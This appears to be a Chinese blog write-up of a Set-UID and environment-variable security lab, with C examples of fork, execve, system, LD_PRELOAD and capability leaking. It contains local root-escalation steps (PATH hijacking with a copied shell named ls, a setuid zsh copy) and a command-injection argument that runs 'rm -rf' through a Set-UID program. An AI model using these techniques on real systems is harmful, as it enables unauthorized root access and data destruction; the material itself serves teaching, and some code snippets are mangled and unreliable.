軟體安全live第四期:軟體安全-環境變數攻防
本期live互動、答疑相關問題歸檔:
【軟體安全】環境變數與Set-UID攻防
Environment Variable and Set-UID Program Lab
Manipulating environment variables
列印環境變數:
pirntenv env設置/取消設置環境變數:
export unsetInheriting environment variables from parents
如果進程需要啟動另一個程序的可執行文件,它先fork創建一個自身的副本,
然後由該副本調用exec系統調用,用其他程序覆蓋自身。當一個進程調用fork時,它被認為是父進程,新創建的進程稱作子進程。fork操作會為子進程創建一個單獨的地址空間,子進程擁有父進程所有內存段的副本。include <unistd.h>#include <stdio.h>#include <stdlib.h>extern char** environ;void printenv(){ int i = 0; while(environ[i] != NULL) printf("%s
",environ[i++]);}void main(){ pid_t childPid; switch(childPid = fork()) { case 0: printenv(); exit(0); default: //printenv(); exit(0);}}
先後取消父進程和子進程的注釋,將列印的文本信息保存,
然後對比父進程和子進程的環境變數,結果完全一樣。Environment varibales and execve()
int execve(const char* filename,char* const argv[],char* const envp[]);
execve()用來執行參數filename字元串所代表的文件路徑,
參數2是利用指針數組來傳遞給執行文件,並且需要以空指針結束,
參數3是傳遞給執行文件的新環境變數數組。
成功不會返回,失敗返回-1。
include <stdio.h>#include <stdlib.h>#include <unistd.h>extern char** environ;int main(){ char* argv[2]; argv[0] = "/usr/bin/env"; argv[1] = NULL; execve("/usr/bin/env",argv,NULL); //execve("/usr/bin/env",argv,environ); return 0;}
當execve()函數的參數3:新的環境變數數組,設置為NULL的時候,列印信息為空。
當設置為environ時,列印出環境變數信息。Environment variables and system()
int system(const char* string);
system()會調用fork()產生子進程,由子進程來調用/bin/sh來執行參數string字元串所代表的命令,
此命令執行完成後隨即返回原調用的進程。如果執行成功則返回子shell的終止狀態。如果fork()失敗,返回-1。如果exec()失敗,表示不能執行shell,返回值相當於shell執行了exit。#include <stdio.h>#include <stdlib.h>int main(){ system("/usr/bin/env"); return 0;}
編譯運行,結果列印環境變數。
Environment variables and Set-UID Programs
#include <stdio.h>#include <stdlib.h>extern char **environ;void main(){ int i = 0; while (environ[i] != NULL) printf("%s
", environ[i++]);}
root用戶編譯,設置Set-UID。
普通用戶下,使用export設置環境變數:- PATH
- LD_LIBRARY_PATH運行上面的程序,發現環境變數發生變化PATH變成剛剛設置的LD_LIBRARY_PATH沒有找到
The PATH Environment variable and Set-UID Programs
int main(){ system("ls"); return 0;}
將/bin/sh複製到程序當前目錄,命令為ls。
cp /bin/sh ~/ls
設置環境變數PATH=~:$PATH。
root用戶編譯上面的程序,設置Set-UID。
普通用戶運行,結果顯示獲取到root許可權。
The LD_PRELOAD environment variable and Set-UID Programs
#include <stdio.h>void sleep(int s){ printf("i am not sleeping
");}gcc -fPIC -g -c mylib.cgcc -shared -o libmylib.so.1.0.1 mylib.o -lcexport LD_PRELOAD=./libmylib.so.1.0.1/* myprog.c */int main(){ sleep(1); return 0;}
- myprog普通程序,普通用戶運行//輸出 i am not sleeping
- myprog Set-UID root程序,普通用戶運行//輸出空
- myprog Set-UID root程序,設置root用戶環境變數LD_PRELOAD,root用戶運行//輸出 i am not sleeping
- myprog普通用戶1程序,設置普通用戶2環境變數LD_PRELOAD,普通用戶2運行//輸出空
只有用戶自己創建的程序自己去運行,才會使用LD_PRELOAD環境變數,
否則忽略LD_PRELOAD環境變數。Invoking external programs using system() versus execve()
/* bob.c */#include <string.h>#include <stdio.h>#include <stdlib.h>int main(int argc, char *argv[]){ char *v[3]; char *command; if(argc < 2) { printf("Please type a file name.
"); return 1;} v[0] = "/bin/cat"; v[1] = argv[1]; v[2] = NULL; command = malloc(strlen(v[0]) + strlen(v[1]) + 2); sprintf(command, "%s %s", v[0], v[1]); // Use only one of the followings. system(command); // execve(v[0], v, NULL); return 0 ;}
- system(command);bob可以實現刪除指定文件。root用戶,編譯上述程序,設置Set-UID。攻擊者bob可以通過:./bob 「111.txt;rm 111.txt -rf」實現將沒有寫許可權的的文件111.txt刪除。因為system()調用了shell,由於本程序設置了Set-UID,將會以root身份去執行字元串。
- execve(v[0],v,NULL);無法刪除指定文件。
./bob 「111.txt;rm 111.txt -rf」
execve()將」111.txt;rm 111.txt -rf」當作文件名,自然顯示找不到文件。
Capability Leaking
#include <stdio.h>#include <stdlib.h>#include <fcntl.h>void main(){ int fd; /* Assume that /etc/zzz is an important system file, * and it is owned by root with permission 0644. * Before running this program, you should creat * the file /etc/zzz first. */ fd = open("/etc/zzz", O_RDWR | O_APPEND); if (fd == -1) { printf("Cannot open /etc/zzz
"); exit(0); } /* Simulate the tasks conducted by the program */ sleep(1); /* After the task, the root privileges are no longer needed, it』s time to relinquish the root privileges permanently. */ setuid(getuid()); /* getuid() returns the real uid */ if (fork()) { /* In the parent process */ close (fd); exit(0); } else { /* in the child process */ /* Now, assume that the child process is compromised, malicious attackers have injected the following statements into this process */ write (fd, "Malicious Data
", 15); close (fd); }}
root用戶編譯,設置Set-UID,普通用戶運行。
結果成功寫入:「Malicious Data
」
由於文件fd是root許可權打開的,導致降權不徹底。
需要遵循最小許可權原則,用完就釋放許可權。
Set-UID Program Vulnerability Lab
實驗目的:
理解掌握為什麼需要Set-UID程序理解掌握潛在的安全隱患問題1
- 當我們在普通用戶下輸入su時,會發生什麼?需要我們輸入密碼,進入root賬戶
- 當我們把su程序複製到另一個目錄下的時候,運行該目錄下的su passwd會發生什麼?輸入密碼無效,因為複製的程序丟失了Set-UID
問題2
- root用戶登錄,複製/bin/zsh到/tmp,設置s位,切換到普通用戶下,運行/tmp/zsh,你會獲得root許可權嗎?進入zsh,普通用戶可以獲得root許可權
- 複製/bin/bash試一試?進入普通bash,bash程序中有Set-UID保護機制
問題3
更改/bin/sh符號鏈接指向/bin/zsh?
$ suPassword: (enter root password)cd /binrm shln -s zsh sh
問題4
PATH環境變數
- 在問題3的基礎上普通用戶下設置環境PATH=/tmp:$PATHroot用戶將zsh複製到/tmp,設置s位,重命名為ls
#include <unistd.h>#include <stdlib.h>int main(){ system("ls"); return 0;}
普通用戶編譯運行上面的程序,即可獲得root shell。
- 如果sh軟鏈接指向的是bash,結果會怎樣?只能獲得普通shell
問題5
system()和execve()
背景:BOB是一個代碼審計員,他需要看一家公司的全部文件,但是不能修改任何文件。為此,系統管理員寫了一個Set-UID的小程序,並且給了BOB可執行許可權。這個小程序允許BOB輸入一個文件名,讓運行/bin/cat查看文件內容。小程序運行期間,具有root許可權,因此可以查看任何文件內容。又因為這個小程序沒有寫許可權,因為BOB不能修改任何文件。
#include <string.h>#include <stdio.h>#include <stdlib.h>int main(int argc,char* argv[]){ char* v[3]; if(argc <2) { pirntf("Please type a file name.
"); return 1; }}v[0] = "/bin/cat";v[1] = argv[1];v[2] = 0;int q = 0;if(q ==0){ char* command = malloc(strlen(v[0])+strlen(v[1])+2); sprintf(command,"%s %s",v[0],v[1]); system(command);}else{ execve(v[0],v,0);}return 0;
- q = 0 如果你是BOB,你可以刪除文件嗎?能。程序使用system()函數,調用/bin/sh程序,修改環境變數。
- q = 1 如果你是BOB,你可以刪除文件嗎?不能。
推薦閱讀:
※被別的網站攻擊,首頁強制跳轉到另外網站去了,怎麼解決,求詳情?
※如何看待「神話——信息安全人才顛覆計劃」?
※如何發展成一名黑客?
※怎麼評價360天眼這款產品?
